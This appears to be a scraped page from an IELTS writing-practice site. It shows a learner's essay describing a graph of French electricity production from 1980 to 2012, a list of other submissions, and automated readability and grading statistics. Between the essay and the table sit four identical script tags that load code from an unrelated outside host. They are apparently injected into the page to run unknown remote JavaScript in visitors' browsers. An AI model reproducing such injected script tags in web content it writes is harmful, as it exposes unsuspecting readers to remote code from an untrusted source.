the graph below shows electricity production (in terawatt hours) in France between 1980 and 2012
The graph illustrates how much electricity was produced by nuclear, hydroelectric, thermal and renewables in France, measuared by terawatt hours over a period of 32 years starting from 1980.
It can be clearly seen that while the amount of electricity produced by nuclear and renewables increased, the opposite was true for hydroelectric and thermal. It is also notable that nuclear was the highest for most of the period.
In the period 1980 – 2005, witnessed a remarkable development in the mount of electricity produced by nuclear and reached a peak of over 450 terawatt hours before declining gradually to roughly 430 terawatt hours in 2012. Meanwhile, electricity was not produced by renewables from 1980 to 2005 but later went up steadily by 25 terawatt hours in 2012.
In 1980, the figure for electricity produced by thermal stood at 125 terawatt hours, in comparison with 70 terawatt hours of hydroelectric. The next fixe years, there was a significant reduction in the figure for electricity produced by thermal, followed by a stability of 50 terawatt hours between 1985 and 2012. By contrast, the figure for hydroelictric experienced a slight fluctuation around 60 terawatt hours in the period 1980-2005, hitting the lowest point of 50 terawatt hours, and then remained stable over the following 7 years.
<script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script>
| Post date | Users | Rates | Link to Content |
|---|---|---|---|
| 2022-06-28 | M3hrrrrnaz | 67 | view |
| 2022-06-22 | minhtran224 | 78 | view |
| 2021-12-01 | VinaKhoai | view | |
| 2021-10-10 | khushboo choudhary | view | |
| 2021-08-12 | tungxuan | 79 | view |
- The best way to ensure the growth of children is to make parents take parenting courses Do you agree or disagree 81
- The line graph below shows the percentage of tourists to scotland who visited four different attraction from 1980 to 2010 67
- The table below shows the numbers of visitors to Ashdown Museum during the year before and the year after it was refurbished. The charts show the results of surveys asking visitors how satisfied they were with their visit, during the same two periodsSwmma 73
- Many governments think that economic progress is their most improtant goald Some people however think that other types of progress are equally important for a country Discuss both these views and give your own opinion 73
- Many developing countries are currently expanding their tourism industries Why is this the case It is a positive development 73
Transition Words or Phrases used:
also, but, if, so, then, while
Attributes: Values AverageValues Percentages(Values/AverageValues)% => Comments
Performance on Part of Speech:
To be verbs : 7.0 7.0 100% => OK
Auxiliary verbs: 1.0 1.00243902439 100% => OK
Conjunction : 7.0 6.8 103% => OK
Relative clauses : 2.0 3.15609756098 63% => OK
Pronoun: 4.0 5.60731707317 71% => OK
Preposition: 41.0 33.7804878049 121% => OK
Nominalization: 3.0 3.97073170732 76% => OK
Performance on vocabulary words:
No of characters: 1125.0 965.302439024 117% => OK
No of words: 213.0 196.424390244 108% => OK
Chars per words: 5.28169014085 4.92477711251 107% => OK
Fourth root words length: 3.82027741392 3.73543355544 102% => OK
Word Length SD: 3.01943275225 2.65546596893 114% => OK
Unique words: 114.0 106.607317073 107% => OK
Unique words percentage: 0.535211267606 0.547539520022 98% => OK
syllable_count: 321.3 283.868780488 113% => OK
avg_syllables_per_word: 1.5 1.45097560976 103% => OK
A sentence (or a clause, phrase) starts by:
Pronoun: 2.0 1.53170731707 131% => OK
Article: 5.0 4.33902439024 115% => OK
Subordination: 0.0 1.07073170732 0% => More adverbial clause wanted.
Conjunction: 1.0 0.482926829268 207% => Less conjunction wanted as sentence beginning.
Preposition: 4.0 3.36585365854 119% => OK
Performance on sentences:
How many sentences: 8.0 8.94146341463 89% => OK
Sentence length: 26.0 22.4926829268 116% => OK
Sentence length SD: 48.0097646318 43.030603864 112% => OK
Chars per sentence: 140.625 112.824112599 125% => OK
Words per sentence: 26.625 22.9334400587 116% => OK
Discourse Markers: 3.75 5.23603664747 72% => OK
Paragraphs: 4.0 3.83414634146 104% => OK
Language errors: 0.0 1.69756097561 0% => OK
Sentences with positive sentiment : 3.0 3.70975609756 81% => OK
Sentences with negative sentiment : 1.0 1.13902439024 88% => OK
Sentences with neutral sentiment: 4.0 4.09268292683 98% => OK
What are sentences with positive/Negative/neutral sentiment?
Coherence and Cohesion:
Essay topic to essay body coherence: 0.310317811363 0.215688989381 144% => OK
Sentence topic coherence: 0.160442123626 0.103423049105 155% => OK
Sentence topic coherence SD: 0.0887624353272 0.0843802449381 105% => OK
Paragraph topic coherence: 0.196154715652 0.15604864568 126% => OK
Paragraph topic coherence SD: 0.104056380898 0.0819641961636 127% => OK
Essay readability:
automated_readability_index: 16.8 13.2329268293 127% => OK
flesch_reading_ease: 53.55 61.2550243902 87% => OK
smog_index: 11.2 6.51609756098 172% => OK
flesch_kincaid_grade: 12.3 10.3012195122 119% => OK
coleman_liau_index: 13.64 11.4140731707 120% => OK
dale_chall_readability_score: 8.11 8.06136585366 101% => OK
difficult_words: 43.0 40.7170731707 106% => OK
linsear_write_formula: 15.0 11.4329268293 131% => OK
gunning_fog: 12.4 10.9970731707 113% => OK
text_standard: 12.0 11.0658536585 108% => OK
What are above readability scores?
---------------------
Rates: 73.0337078652 out of 100
Scores by essay e-grader: 6.5 Out of 9
---------------------
Note: the e-grader does NOT examine the meaning of words and ideas. VIP users will receive further evaluations by advanced module of e-grader and human graders.